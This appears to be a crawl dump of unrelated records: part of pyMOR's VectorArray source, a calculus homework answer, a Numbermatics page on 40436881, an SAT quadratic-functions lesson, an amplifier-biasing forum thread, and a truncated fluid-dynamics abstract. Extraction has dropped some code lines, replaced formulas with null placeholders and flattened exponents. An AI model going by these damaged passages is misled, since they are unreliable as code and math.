`alpha`\nhas to be a one-dimensional |NumPy array| of the same length as `self`\ncontaining the factors for each vector.\n\nParameters\n----------\nalpha\nThe scalar coefficient or one-dimensional |NumPy array| of coefficients\nwith which the vectors in `self` are multiplied.\n\"\"\"\npass\n\n[docs] @abstractmethod\ndef axpy(self, alpha, x):\n\"\"\"BLAS AXPY operation.\n\nThis method forms the sum ::\n\nself = alpha*x + self\n\nIf the length of `x` is 1, the same `x` vector is used for all vectors\nin `self`. Otherwise, the lengths of `self` and `x` have to agree.\nIf `alpha` is a scalar, each `x` vector is multiplied with the same factor `alpha`.\nOtherwise, `alpha` has to be a one-dimensional |NumPy array| of the same length as\n`self` containing the coefficients for each `x` vector.\n\nParameters\n----------\nalpha\nThe scalar coefficient or one-dimensional |NumPy array| of coefficients with which\nthe vectors in `x` are multiplied.\nx\nA |VectorArray| containing the x-summands.\n\"\"\"\npass\n\n[docs] def inner(self, other, product=None):\n\"\"\"Returns the inner products between |VectorArray| elements.\n\nIf `product` is `None`, the Euclidean inner product between\nthe :meth:`dofs` of `self` and `other` are returned, i.e. ::\n\nU.inner(V)\n\nis equivalent to::\n\nU.dofs(np.arange(U.dim)) @ V.dofs(np.arange(V.dim)).T\n\n(Note, that :meth:`dofs` is only intended to be called for a\nsmall number of DOF indices.)\n\nIf a `product` |Operator| is specified, this |Operator| is\nused to compute the inner products using\n:meth:`~pymor.operators.inerface.Operator.apply2`, i.e.\n`U.inner(V, product)` is equivalent to::\n\nproduct.apply2(U, V)\n\nwhich in turn is, by default, implemented as::\n\nU.inner(product.apply(V))\n\nIn the case of complex numbers, this is antilinear in the\nfirst argument, i.e. in 'self'.\nComplex conjugation is done in the first argument because\nmost numerical software in the community handles it this way:\nNumpy, DUNE, FEniCS, Eigen, Matlab and BLAS do complex conjugation\nin the first argument, only PetSc and deal.ii do complex\nconjugation in the second argument.\n\nParameters\n----------\nother\nA |VectorArray| containing the second factors.\nproduct\nIf not `None` an |Operator| representing the inner product\nbilinear form.\n\nReturns\n-------\nA |NumPy array| `result` such that:\n\nresult[i, j] = ( self[i], other[j] ).\n\"\"\"\nif product is not None:\nreturn product.apply2(self, other)\nelse:\nraise NotImplementedError\n\n@Deprecated(inner)\ndef dot(self, other):\nreturn self.inner(other)\n\n[docs] def pairwise_inner(self, other, product=None):\n\"\"\"Returns the pairwise inner products between |VectorArray| elements.\n\nIf `product` is `None`, the Euclidean inner product between\nthe :meth:`dofs` of `self` and `other` are returned, i.e. ::\n\nU.pairwise_inner(V)\n\nis equivalent to::\n\nnp.sum(U.dofs(np.arange(U.dim)) * V.dofs(np.arange(V.dim)), axis=-1)\n\n(Note, that :meth:`dofs` is only intended to be called for a\nsmall number of DOF indices.)\n\nIf a `product` |Operator| is specified, this |Operator| is\nused to compute the inner products using\n:meth:`~pymor.operators.inerface.Operator.pairwise_apply2`, i.e.\n`U.inner(V, product)` is equivalent to::\n\nproduct.pairwise_apply2(U, V)\n\nwhich in turn is, by default, implemented as::\n\nU.pairwise_inner(product.apply(V))\n\nIn the case of complex numbers, this is antilinear in the\nfirst argument, i.e. in 'self'.\nComplex conjugation is done in the first argument because\nmost numerical software in the community handles it this way:\nNumpy, DUNE, FEniCS, Eigen, Matlab and BLAS do complex conjugation\nin the first argument, only PetSc and deal.ii do complex\nconjugation in the second argument.\n\nParameters\n----------\nother\nA |VectorArray| containing the second factors.\nproduct\nIf not `None` an |Operator| representing the inner product\nbilinear form.\n\nReturns\n-------\nA |NumPy array| `result` such that:\n\nresult[i] = ( self[i], other[i] ).\n\n\"\"\"\nif product is not None:\nreturn product.pairwise_apply2(self, other)\nelse:\nraise NotImplementedError\n\n@Deprecated(pairwise_inner)\ndef pairwise_dot(self, other):\nreturn self.pairwise_inner(other)\n\n[docs] @abstractmethod\ndef lincomb(self, coefficients):\n\"\"\"Returns linear combinations of the vectors contained in the array.\n\nParameters\n----------\ncoefficients\nA |NumPy array| of dimension 1 or 2 containing the linear\ncoefficients. `coefficients.shape[-1]` has to agree with\n`len(self)`.\n\nReturns\n-------\nA |VectorArray| `result` such that:\n\nresult[i] = ∑ self[j] * coefficients[i,j]\n\nin case `coefficients` is of dimension 2, otherwise\n`len(result) == 1` and\n\nresult = ∑ self[j] * coefficients[j].\n\"\"\"\npass\n\n[docs] def norm(self, product=None, tol=None, raise_complex=None):\n\"\"\"Norm with respect to a given inner product.\n\nIf `product` is `None`, the Euclidean norms of the :meth:`dofs`\nof the array are returned, i.e. ::\n\nU.norm()\n\nis equivalent to::\n\nnp.sqrt(U.pairwise_inner(U))\n\nIf a `product` |Operator| is specified, this |Operator| is\nused to compute the norms via::\n\nnp.sqrt(product.pairwise_apply2(U, U))\n\nParameters\n----------\nproduct\nIf not `None`, the inner product |Operator| used to compute the\nnorms.\ntol\nIf `raise_complex` is `True`, a :exc:`ValueError` exception\nis raised if there are complex norm squares with an imaginary part\nof absolute value larger than `tol`.\nraise_complex\nSee `tol`.\n\nReturns\n-------\nA one-dimensional |NumPy array| of the norms of the vectors in the array.\n\"\"\"\nif product is None:\nnorm = self._norm()\nassert np.all(np.isrealobj(norm))\nreturn norm\nelse:\nnorm_squared = self.norm2(product=product, tol=tol, raise_complex=raise_complex)\nreturn np.sqrt(norm_squared.real)\n\n[docs] @defaults('tol', 'raise_complex')\ndef norm2(self, product=None, tol=1e-10, raise_complex=True):\n\"\"\"Squared norm with respect to a given inner product.\n\nIf `product` is `None`, the Euclidean norms of the :meth:`dofs`\nof the array are returned, i.e. ::\n\nU.norm()\n\nis equivalent to::\n\nU.pairwise_inner(U)\n\nIf a `product` |Operator| is specified, this |Operator| is\nused to compute the norms via::\n\nproduct.pairwise_apply2(U, U)\n\nParameters\n----------\nproduct\nIf not `None`, the inner product |Operator| used to compute the\nnorms.\ntol\nIf `raise_complex` is `True`, a :exc:`ValueError` exception\nis raised if there are complex norm squares with an imaginary part\nof absolute value larger than `tol`.\nraise_complex\nSee `tol`.\n\nReturns\n-------\nA one-dimensional |NumPy array| of the squared norms of the vectors in the array.\n\"\"\"\nif product is None:\nnorm_squared = self._norm2()\nassert np.all(np.isrealobj(norm_squared))\nreturn norm_squared\nelse:\nnorm_squared = product.pairwise_apply2(self, self)\nif raise_complex and np.any(np.abs(norm_squared.imag) > tol):\nraise ValueError(f'norm is complex (square = {norm_squared})')\nreturn norm_squared.real\n\n[docs] @abstractmethod\ndef _norm(self):\n\"\"\"Implementation of :meth:`norm` for the case that no `product` is given.\"\"\"\npass\n\n[docs] @abstractmethod\ndef _norm2(self):\n\"\"\"Implementation of :meth:`norm2` for the case that no `product` is given.\"\"\"\npass\n\n@Deprecated(norm)\ndef l2_norm(self):\nreturn self.norm()\n\n@Deprecated(norm2)\ndef l2_norm2(self):\nreturn self.norm2()\n\n[docs] def sup_norm(self):\n\"\"\"The l-infinity-norms of the vectors contained in the array.\n\nReturns\n-------\nA |NumPy array| `result` such that `result[i]` contains the norm\nof `self[i]`.\n\"\"\"\nif self.dim == 0:\nreturn np.zeros(len(self))\nelse:\n_, max_val = self.amax()\nreturn max_val\n\n[docs] @abstractmethod\ndef dofs(self, dof_indices):\n\"\"\"Extract DOFs of the vectors contained in the array.\n\nParameters\n----------\ndof_indices\nList or 1D |NumPy array| of indices of the DOFs that are to be returned.\n\nReturns\n-------\nA |NumPy array| `result` such that `result[i, j]` is the `dof_indices[j]`-th\nDOF of the `i`-th vector of the array.\n\"\"\"\npass\n\n[docs] @abstractmethod\ndef amax(self):\n\"\"\"The maximum absolute value of the DOFs contained in the array.\n\nReturns\n-------\nmax_ind\n|NumPy array| containing for each vector a DOF index at which the maximum is\nattained.\nmax_val\n|NumPy array| containing for each vector the maximum absolute value of its\nDOFs.\n\"\"\"\npass\n\n[docs] def gramian(self, product=None):\n\"\"\"Shorthand for `self.inner(self, product)`.\"\"\"\nreturn self.inner(self, product)\n\nif isinstance(other, Number):\nassert other == 0\nreturn self.copy()\n\nresult = self.copy()\nresult.axpy(1, other)\nreturn result\n\nself.axpy(1, other)\nreturn self\n\ndef __sub__(self, other):\nresult = self.copy()\nresult.axpy(-1, other)\nreturn result\n\ndef __isub__(self, other):\nself.axpy(-1, other)\nreturn self\n\ndef __mul__(self, other):\nresult = self.copy()\nresult.scal(other)\nreturn result\n\n__rmul__ = __mul__\n\ndef __imul__(self, other):\nself.scal(other)\nreturn self\n\ndef __neg__(self):\nresult = self.copy()\nresult.scal(-1)\nreturn result\n\n@property\ndef real(self):\n\"\"\"Real part.\"\"\"\nreturn self.copy()\n\n@property\ndef imag(self):\n\"\"\"Imaginary part.\"\"\"\nreturn self.zeros(len(self))\n\n[docs] def conj(self):\n\"\"\"Complex conjugation.\"\"\"\nreturn self.copy()\n\n[docs] def check_ind(self, ind):\n\"\"\"Check if `ind` is an admissible list of indices in the sense of the class documentation.\"\"\"\nl = len(self)\nreturn (type(ind) is slice\nor isinstance(ind, Number) and -l <= ind < l\nor isinstance(ind, (list, np.ndarray)) and all(-l <= i < l for i in ind))\n\n[docs] def check_ind_unique(self, ind):\n\"\"\"Check if `ind` is an admissible list of non-repeated indices in the sense of the class documentation.\"\"\"\nl = len(self)\nreturn (type(ind) is slice\nor isinstance(ind, Number) and -l <= ind < l\nor isinstance(ind, (list, np.ndarray))\nand len(set(i if i >= 0 else l+i for i in ind if -l <= i < l)) == len(ind))\n\n[docs] def len_ind(self, ind):\n\"\"\"Return the number of given indices.\"\"\"\nl = len(self)\nif type(ind) is slice:\nreturn len(range(*ind.indices(l)))\ntry:\nreturn len(ind)\nexcept TypeError:\nreturn 1\n\n[docs] def len_ind_unique(self, ind):\n\"\"\"Return the number of specified unique indices.\"\"\"\nl = len(self)\nif type(ind) is slice:\nreturn len(range(*ind.indices(l)))\nif isinstance(ind, Number):\nreturn 1\nreturn len({i if i >= 0 else l+i for i in ind})\n\n[docs] def normalize_ind(self, ind):\n\"\"\"Normalize given indices such that they are independent of the array length.\"\"\"\nif type(ind) is slice:\nreturn slice(*ind.indices(len(self)))\nelif not hasattr(ind, '__len__'):\nind = ind if 0 <= ind else len(self)+ind\nreturn slice(ind, ind+1)\nelse:\nl = len(self)\nreturn [i if 0 <= i else l+i for i in ind]\n\n[docs] def sub_index(self, ind, ind_ind):\n\"\"\"Return indices corresponding to the view `self[ind][ind_ind]`\"\"\"\nif type(ind) is slice:\nind = range(*ind.indices(len(self)))\nif type(ind_ind) is slice:\nresult = ind[ind_ind]\nreturn slice(result.start, result.stop, result.step)\nelif hasattr(ind_ind, '__len__'):\nreturn [ind[i] for i in ind_ind]\nelse:\nreturn [ind[ind_ind]]\nelse:\nif not hasattr(ind, '__len__'):\nind = [ind]\nif type(ind_ind) is slice:\nreturn ind[ind_ind]\nelif hasattr(ind_ind, '__len__'):\nreturn [ind[i] for i in ind_ind]\nelse:\nreturn [ind[ind_ind]]\n\n[docs]class VectorSpace(ImmutableObject):\n\"\"\"Class describing a vector space.\n\nVector spaces act as factories for |VectorArrays| of vectors\ncontained in them. As such, they hold all data necessary to\ncreate |VectorArrays| of a given type (e.g. the dimension of\nthe vectors, or a socket for communication with an external\nPDE solver).\n\nNew |VectorArrays| of null vectors are created via\n:meth:`~VectorSpace.zeros`. The\n:meth:`~VectorSpace.make_array` method builds a new\n|VectorArray| from given raw data of the underlying linear algebra\nbackend (e.g. a |Numpy array| in the case of |NumpyVectorSpace|).\nSome vector spaces can create new |VectorArrays| from a given\n|Numpy array| via the :meth:`~VectorSpace.from_numpy`\nmethod.\n\nEach vector space has a string :attr:`~VectorSpace.id`\nto distinguish mathematically different spaces appearing\nin the formulation of a given problem.\n\nVector spaces can be compared for equality via the `==` and `!=`\noperators. To test if a given |VectorArray| is an element of\nthe space, the `in` operator can be used.\n\nAttributes\n----------\nid\nNone, or a string describing the mathematical identity\nof the vector space (for instance to distinguish different\ncomponents in an equation system).\ndim\nThe dimension (number of degrees of freedom) of the\nvectors contained in the space.\nis_scalar\nEquivalent to\n`isinstance(space, NumpyVectorSpace) and space.dim == 1 and space.id is None`.\n\"\"\"\n\nid = None\ndim = None\nis_scalar = False\n\n[docs] @abstractmethod\ndef make_array(*args, **kwargs):\n\"\"\"Create a |VectorArray| from raw data.\n\nThis method is used in the implementation of |Operators|\nand |Models| to create new |VectorArrays| from\nraw data of the underlying solver backends. The ownership\nof the data is transferred to the newly created array.\n\nThe exact signature of this method depends on the wrapped\nsolver backend.\n\"\"\"\npass\n\n[docs] @abstractmethod\ndef zeros(self, count=1, reserve=0):\n\"\"\"Create a |VectorArray| of null vectors\n\nParameters\n----------\ncount\nThe number of vectors.\nreserve\nHint for the backend to which length the array will grow.\n\nReturns\n-------\nA |VectorArray| containing `count` vectors with each component zero.\n\"\"\"\npass\n\n[docs] def ones(self, count=1, reserve=0):\n\"\"\"Create a |VectorArray| of vectors with all DOFs set to one.\n\nThis is a shorthand for `self.full(1., count, reserve)`.\n\nParameters\n----------\ncount\nThe number of vectors.\nreserve\nHint for the backend to which length the array will grow.\n\nReturns\n-------\nA |VectorArray| containing `count` vectors with each DOF set to one.\n\"\"\"\nreturn self.full(1., count, reserve)\n\n[docs] def full(self, value, count=1, reserve=0):\n\"\"\"Create a |VectorArray| of vectors with all DOFs set to the same value.\n\nParameters\n----------\nvalue\nThe value each DOF should be set to.\ncount\nThe number of vectors.\nreserve\nHint for the backend to which length the array will grow.\n\nReturns\n-------\nA |VectorArray| containing `count` vectors with each DOF set to `value`.\n\"\"\"\nreturn self.from_numpy(np.full((count, self.dim), value))\n\n[docs] def random(self, count=1, distribution='uniform', random_state=None, seed=None, reserve=0, **kwargs):\n\"\"\"Create a |VectorArray| of vectors with random entries.\n\nSupported random distributions::\n\n'uniform': Uniform distribution in half-open interval\n[`low`, `high`).\n'normal': Normal (Gaussian) distribution with mean\n`loc` and standard deviation `scale`.\n\nNote that not all random distributions are necessarily implemented\nby all |VectorSpace| implementations.\n\nParameters\n----------\ncount\nThe number of vectors.\ndistribution\nRandom distribution to use (`'uniform'`, `'normal'`).\nlow\nLower bound for `'uniform'` distribution (defaults to `0`).\nhigh\nUpper bound for `'uniform'` distribution (defaults to `1`).\nloc\nMean for `'normal'` distribution (defaults to `0`).\nscale\nStandard deviation for `'normal'` distribution (defaults to `1`).\nrandom_state\n:class:`~numpy.random.RandomState` to use for sampling.\nIf `None`, a new random state is generated using `seed`\nas random seed, or the :func:`default <pymor.tools.random.default_random_state>`\nrandom state is used.\nseed\nIf not `None`, a new random state with this seed is used.\nreserve\nHint for the backend to which length the array will grow.\n\"\"\"\nassert random_state is None or seed is None\nrandom_state = get_random_state(random_state, seed)\nvalues = _create_random_values((count, self.dim), distribution, random_state, **kwargs)\nreturn self.from_numpy(values)\n\n[docs] def empty(self, reserve=0):\n\"\"\"Create an empty |VectorArray|\n\nThis is a shorthand for `self.zeros(0, reserve)`.\n\nParameters\n----------\nreserve\nHint for the backend to which length the array will grow.\n\nReturns\n-------\nAn empty |VectorArray|.\n\"\"\"\nreturn self.zeros(0, reserve=reserve)\n\n[docs] def from_numpy(self, data, ensure_copy=False):\n\"\"\"Create a |VectorArray| from a |NumPy array|\n\nNote that this method will not be supported by all vector\nspace implementations.\n\nParameters\n----------\ndata\n|NumPy| array of shape `(len, dim)` where `len` is the\nnumber of vectors and `dim` their dimension.\nensure_copy\nIf `False`, modifying the returned |VectorArray| might alter the original\n|NumPy array|. If `True` always a copy of the array data is made.\n\nReturns\n-------\nA |VectorArray| with `data` as data.\n\"\"\"\nraise NotImplementedError\n\n[docs] def __eq__(self, other):\nreturn other is self\n\n[docs] def __ne__(self, other):\nreturn not (self == other)\n\ndef __contains__(self, other):\nreturn self == getattr(other, 'space', None)\n\n[docs] def __hash__(self):\nreturn hash(self.id)\n\ndef _create_random_values(shape, distribution, random_state, **kwargs):\nif distribution not in ('uniform', 'normal'):\nraise NotImplementedError\n\nif distribution == 'uniform':\nif not kwargs.keys() <= {'low', 'high'}:\nraise ValueError\nlow = kwargs.get('low', 0.)\nhigh = kwargs.get('high', 1.)\nif high <= low:\nraise ValueError\nreturn random_state.uniform(low, high, shape)\nelif distribution == 'normal':\nif not kwargs.keys() <= {'loc', 'scale'}:\nraise ValueError\nloc = kwargs.get('loc', 0.)\nscale = kwargs.get('scale', 1.)\nreturn random_state.normal(loc, scale, shape)\nelse:\nassert False\n```"
] | [
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https://www.assignmentexpert.com/homework-answers/mathematics/calculus/question-17244 | [
"# Answer to Question #17244 in Calculus for hsd\n\nQuestion #17244\nA price p (in dollars) and demand x for a product are related by 2x^2+1xp+50p^2=26000. If the price is increasing at a rate of 2 dollars per month when the price is 20 dollars, find the rate of change of the demand. Rate of change of demand =\n1\n2012-10-30T10:02:08-0400\np=20 so 2x^2+x*20+50*20^2=26000\nx=-60 or x=50\nbut x>0 so x=50\nx, p functions of time t\nand we know that\ndp/dt=2 at point x=50 p=20\nwe must find dx/dt\ndifferentiate equation\n4xdx+x*dp+p*dx+100*p*dp=0 (: dt)\n4x*dx/dt +x*dp/dt+100*p*dp/dt=0\nfor dx/dt we have\n4*50*dx/dt+50*2+100*20*2=0\n2*dx/dt+1+20*2=0\ndx/dt=-41/2\nrate of change of the demand=-41/2\n\nNeed a fast expert's response?\n\nSubmit order\n\nand get a quick answer at the best price\n\nfor any assignment or question with DETAILED EXPLANATIONS!"
] | [
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https://numbermatics.com/n/40436881/ | [
"# 40436881\n\n## 40,436,881 is an odd composite number. It is composed of a single prime number multiplied by itself.\n\nWhat does the number 40436881 look like?\n\nThis visualization shows the relationship between its 1 prime factors (large circles) and 3 divisors.\n\n40436881 is an odd composite number. It has a total of three divisors.\n\n## Prime factorization of 40436881:\n\n### 63592\n\n(6359 × 6359)\n\nSee below for interesting mathematical facts about the number 40436881 from the Numbermatics database.\n\n### Names of 40436881\n\n• Cardinal: 40436881 can be written as Forty million, four hundred thirty-six thousand, eight hundred eighty-one.\n\n### Scientific notation\n\n• Scientific notation: 4.0436881 × 107\n\n### Factors of 40436881\n\n• Number of distinct prime factors ω(n): 1\n• Total number of prime factors Ω(n): 2\n• Sum of prime factors: 6359\n\n### Divisors of 40436881\n\n• Number of divisors d(n): 3\n• Complete list of divisors:\n• Sum of all divisors σ(n): 40443241\n• Sum of proper divisors (its aliquot sum) s(n): 6360\n• 40436881 is a deficient number, because the sum of its proper divisors (6360) is less than itself. Its deficiency is 40430521\n\n### Bases of 40436881\n\n• Binary: 100110100100000100100100012\n• Hexadecimal: 0x2690491\n• Base-36: O2PAP\n\n### Scales and comparisons\n\nHow big is 40436881?\n• 40,436,881 seconds is equal to 1 year, 14 weeks, 6 days, 28 minutes, 1 second.\n• To count from 1 to 40,436,881 would take you about forty-eight weeks!\n\nThis is a very rough estimate, based on a speaking rate of half a second every third order of magnitude. If you speak quickly, you could probably say any randomly-chosen number between one and a thousand in around half a second. Very big numbers obviously take longer to say, so we add half a second for every extra x1000. (We do not count involuntary pauses, bathroom breaks or the necessity of sleep in our calculation!)\n\n• A cube with a volume of 40436881 cubic inches would be around 28.6 feet tall.\n\n### Recreational maths with 40436881\n\n• 40436881 backwards is 18863404\n• The number of decimal digits it has is: 8\n• The sum of 40436881's digits is 34\n• More coming soon!\n\n## Link to this page\n\nHTML: To link to this page, just copy and paste the link below into your blog, web page or email.\n\nBBCODE: To link to this page in a forum post or comment box, just copy and paste the link code below:\n\n## Cite this page\n\nMLA style:\n\"Number 40436881 - Facts about the integer\". Numbermatics.com. 2021. Web. 10 April 2021.\n\nAPA style:\nNumbermatics. (2021). Number 40436881 - Facts about the integer. Retrieved 10 April 2021, from https://numbermatics.com/n/40436881/\n\nChicago style:\nNumbermatics. 2021. \"Number 40436881 - Facts about the integer\". https://numbermatics.com/n/40436881/\n\nThe information we have on file for 40436881 includes mathematical data and numerical statistics calculated using standard algorithms and methods. We are adding more all the time. If there are any features you would like to see, please contact us. Information provided for educational use, intellectual curiosity and fun!\n\nKeywords: Divisors of 40436881, math, Factors of 40436881, curriculum, school, college, exams, university, Prime factorization of 40436881, STEM, science, technology, engineering, physics, economics, calculator, forty million, four hundred thirty-six thousand, eight hundred eighty-one."
] | [
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https://schoolbag.info/mathematics/sat_2/9.html | [
" QUADRATIC FUNCTIONS - Polynomial Functions - Functions - REVIEW OF MAJOR TOPICS - SAT SUBJECT TEST MATH LEVEL 2\n\n## PART 2",
null,
"## REVIEW OF MAJOR TOPICS",
null,
"## CHAPTER 1Functions\n\n###",
null,
"1.2 Polynomial Functions",
null,
"Quadratic functions are polynomials in which the largest exponent is 2. The graph is always a parabola. The general form of the equation is y = ax2 + bx + c. If a > 0, the parabola opens up and has a minimum value. If a < 0, the parabola opens down and has a maximum value. The x-coordinate of the vertex of the parabola is equal to",
null,
", and the axis of symmetry is the vertical line whose equation is",
null,
".\n\nTo find the minimum (or maximum) value of the function, substitute",
null,
"for x to determine y.\n\nThus, in general the coordinates of the vertex are",
null,
"and the minimum (or maximum) value of the function is",
null,
".\n\nUnless specifically limited, the domain of a quadratic function is all real numbers, and the range is all values of y greater than or equal to the minimum value (or all values of y less than or equal to the maximum value) of the function.\n\nThe examples below provide algebraic underpinnings of how the orientation, vertex, axis of symmetry, and zeros are determined. You can, of course, use a graphing calculator to sketch a parabola and find its vertex and x-intercepts.\n\nEXAMPLES\n\n1. Determine the coordinates of the vertex and the equation of the axis of symmetry of y = 3x2 + 2x – 5. Does the quadratic function have a minimum or maximum value? If so, what is it?\n\nThe equation of the axis of symmetry is",
null,
"and the y-coordinate of the vertex is",
null,
"The vertex is, therefore, at",
null,
".\n\nThe function has a minimum value because a = 3 > 0. The minimum value is",
null,
". The graph of y = 3x2 + 2x – 5 is shown below.",
null,
"The points where the graph crosses the x-axis are called the zeros of the function and occur when y = 0. To find the zeros of y = 3x2 + 2x – 5, solve the quadratic equation 3x2 + 2x – 5 = 0. By factoring, 3x2 + 2x – 5 = (3x + 5)(x – 1) = 0. Thus, 3x + 5 = 0 or x – 1 = 0, which leads to",
null,
"or 1.\n\nEvery quadratic equation can be changed into the form ax2 + bx + c = 0 (if it is not already in that form), which can be solved by completing the square. The solutions are",
null,
", the general quadratic formula. Substitute a = 3, b = 2, and c = –5 to get the same zeros,",
null,
"or x = 1.\n\n TIP",
null,
"Most numerical answer choices on the Math Level 2 test are in the form of numerical approximations. Simplified radical answer choices are rarely given.\n\n2. Find the zeros of y = 2x2 + 3x – 4.\n\nSolve the equation 2x2 + 3x – 4 = 0. The left side does not factor. Using the quadratic formula with a = 2, b = 3, and c = – 4, gives x",
null,
"0.85078 or –2.35078. These solutions are most readily obtained by using the polynomial solver on your graphing calculator.\n\nNote that the sum of the two zeros,",
null,
"equals",
null,
", and their product equals",
null,
". This information can be used to check whether the correct zeros have been found. In Example 2, the sum and product of the zeros can be determined by inspection from the equations.",
null,
"and Product",
null,
".\n\n TIP",
null,
"The sum of the zeros is",
null,
"and the product of the zeros is",
null,
".\n\nAt times it is necessary to determine only the nature of the roots of a quadratic equation, not the roots themselves. Because b2 – 4ac of the general quadratic formula is under the radical, its sign determines whether the roots are real or imaginary. The quantity b2 – 4ac is called thediscriminant of a quadratic equation.\n\n(i) If b2 – 4ac = 0, the two roots are the same",
null,
", and the graph of the function is tangent to the x-axis.",
null,
"(ii) If b2 – 4ac < 0, there is a negative number under the radical, which gives two complex numbers (of the form p + qi and p – qi, where",
null,
") as roots, and the graph of the function does not intersect the x-axis.",
null,
"TIP",
null,
"If the zeros are complex, the parabola does not cross the x-axis.\n\n(iii) If b2 – 4ac > 0, there is a positive number under the radical, which gives two different real roots, and the graph of the function intersects the x-axis at two points.",
null,
"EXERCISES\n\n1. The coordinates of the vertex of the parabola whose equation is y = 2x2 + 4x – 5 are\n\n(A) (2, 11)\n\n(B) (–1, –7)\n\n(C) (1, 1)\n\n(D) (–2, –5)\n\n(E) (–4, 11)\n\n2. The range of the function\nf = {(x,y):y = 5 – 4x – x2} is\n\n(A) {y:y",
null,
"0}\n\n(B) {y:y",
null,
"–9}\n\n(C) {y:y",
null,
"9}\n\n(D) {y:y",
null,
"0}\n\n(E) {y:y",
null,
"1}\n\n3. The equation of the axis of symmetry of the function y = 2x2 + 3x – 6 is\n\n(A)",
null,
"(B)",
null,
"(C)",
null,
"(D)",
null,
"(E)",
null,
"4. Find the zeros of y = 2x2 + x – 6.\n\n(A) 3 and 2\n\n(B) –3 and 2\n\n(C)",
null,
"and",
null,
"(D)",
null,
"and 1\n\n(E)",
null,
"and –2\n\n5. The sum of the zeros of y = 3x2 – 6x – 4 is\n\n(A) –2\n\n(B)",
null,
"(C)",
null,
"(D) 2\n\n(E) 6\n\n6. x2 + 2x + 3 = 0 has\n\n(A) two real rational roots\n\n(B) two real irrational roots\n\n(C) two equal real roots\n\n(D) two equal rational roots\n\n(E) two complex conjugate roots\n\n7. A parabola with a vertical axis has its vertex at the origin and passes through point (7,7). The parabola intersects line y = 6 at two points. The length of the segment joining these points is\n\n(A) 14\n\n(B) 13\n\n(C) 12\n\n(D) 8.6\n\n(E) 6.5\n\n"
] | [
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https://forum.allaboutcircuits.com/threads/tip31-biasing-problems.64617/ | [
"# TIP31 Biasing Problems?\n\n#### crazyengineer\n\nJoined Dec 29, 2010\n156\nOkay, so once again, I created another orcad simulation so I can try biasing a TIP31 transistor. I wanted to bias so that the ac waveform entering the bas will be centered around 8 volts",
null,
"However, when I made a plot of the ac voltage entering the 8 ohm resistor, the shape of the 2.83 AC signal entering the base was recreated, but it was reduced somewhere around the millivolt range.The red line indicates the DC voltage at the collector, and the green line indicates the AC voltage at the 8 ohm resistor.",
null,
"Here's a larger picture of the ac voltage",
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"Did I screw up with my biasing or is this one of the problems of a class A amplifier: the fact that the efficiency is much less than other amplifiers?\n\nJoined Dec 26, 2010\n2,148\nIf you look closely, you will see that the peaks of the loudspeaker waveform do not coincide with those at the collector. There is an obvious reason for this.\n\nWhat is the reactance of a 10μF capacitor at 100Hz? Is it low compared to the speaker's 8Ω impedance? If not, what might be done about this?\n\nEdit: There are other issues here, but let's deal with one thing at a time.\n\n#### crazyengineer\n\nJoined Dec 29, 2010\n156\nIf you look closely, you will see that the peaks of the loudspeaker waveform do not coincide with those at the collector. There is an obvious reason for this.\n\nWhat is the reactance of a 10μF capacitor at 100Hz? Is it low compared to the speaker's 8Ω impedance? If not, what might be done about this?\n\nEdit: There are other issues here, but let's deal with one thing at a time.\nLet's see\n\nThe reactance of the capacitor (assuming xc=1/(2*pi*f*C) is 159.55 when a 100 hertz signal is applied. Since the capacitor is connected in series with the 8 ohm resistor, I need a smaller capacitor in order to get more ac power into the resistor. Am I correct?\n\nLast edited:\n\nJoined Dec 26, 2010\n2,148\nLet's see\n\nThe reactance of the capacitor (assuming xc=1/(2*pi*f*C) is 159.55 under a 100 hertz wave. Since the capacitor is connected in series with the 8 ohm resistor, I need a smaller capacitor in order to get more ac power into the resistor. Am I correct?\nNot quite: Xc is inversely proportional to C.\n\nJoined Dec 26, 2010\n2,148\nI said this, among other things, in reply to an earlier thread:\n\n...It is normal to avoid passing DC through the speaker. One very common way to do this is by putting a capacitor in series with it. Many hundreds to thousands of microfarads are required, depending on how low the speaker impedance is, and how much bass response is required. If you have only a small loudspeaker that only responds down to a few hundred Hz a few hundred μF may do...\nBut 10μF is too small.\n\n#### w2aew\n\nJoined Jan 3, 2012\n219\nPart of the problem is that you are using a Common Emitter amplifier. A CE amplifier's output impedance is essentially equal to the collector resistance. Thus, when you load it with a low impedance like 8 ohms, you completely attenuate it's output.\n\nTo drive a low impedance like a speaker, you have to use an amplifier with a low output impedance. There are a number of ways to do this:\n\n1) Use a audio transformer in the collector as your load, with a turns ratio that creates a reasonable collector impedance on the primary side and a low impedance for the secondary for the speaker.\n\n2) Use the CE amp as you have shown, but follow it with a second stage that can drive a low impedance load - something like a common collector (emitter follower) circuit.\n\n3) etc...\n\n#### crazyengineer\n\nJoined Dec 29, 2010\n156\nBut 10μF is too small.\nPart of the problem is that you are using a Common Emitter amplifier. A CE amplifier's output impedance is essentially equal to the collector resistance. Thus, when you load it with a low impedance like 8 ohms, you completely attenuate it's output.\n\nTo drive a low impedance like a speaker, you have to use an amplifier with a low output impedance. There are a number of ways to do this:\n\n1) Use a audio transformer in the collector as your load, with a turns ratio that creates a reasonable collector impedance on the primary side and a low impedance for the secondary for the speaker.\n\n2) Use the CE amp as you have shown, but follow it with a second stage that can drive a low impedance load - something like a common collector (emitter follower) circuit.\n\n3) etc...\nOkay! I see my mistakes. Although I'll take w2aew suggestion about using a common collector configuration in future designs, I still want to play around with this circuit some more.\n\nHere's the updated schematic with a 470u capacitor instead of the 10u",
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"VC and 8 ohm resistor voltage plots",
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"8 ohm voltage plot closer up",
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https://research.chalmers.se/publication/125186 | [
"# A Similarity Theory for the Plane Wall Jet Artikel i vetenskaplig tidskrift, 1999\n\nA new theory for the turbulent plane wall jet without external stream is proposed based on a similarity analysis of the governing equations. The asymptotic invariance principle (AIP) is used to require that properly scaled profiles reduce to similarity solutions of the inner and outer equations separately in the limit of infinite Reynolds number. Application to the inner equations shows that the appropriate velocity scale is the friction velocity, u[low asterisk], and the length scale is v/u[low asterisk]. For finite Reynolds numbers, the profiles retain a dependence on the length-scale ratio, y+1/2 = u[low asterisk]y1/2/v, where y1/2 is the distance from the wall at which the mean velocity has dropped to 1/2 its maximum value. In the limit as y+1/2 [rightward arrow] [infty infinity], the familiar law of the wall is obtained. Application of the AIP to the outer equations shows the appropriate velocity scale to be Um, the velocity maximum, and the length scale y1/2; but again the profiles retain a dependence on y+1/2 for finite values of it. The Reynolds shear stress in the outer layer scales with u2*, while the normal stresses scale with U2m. Also Um [similar] yn1/2 where n < −1/2 and must be determined from the data. The theory cannot rule out the possibility that the outer flow may retain a dependence on the source conditions, even asymptotically. The fact that both these profiles describe the entire wall jet for finite values of y+1/2, but reduce to 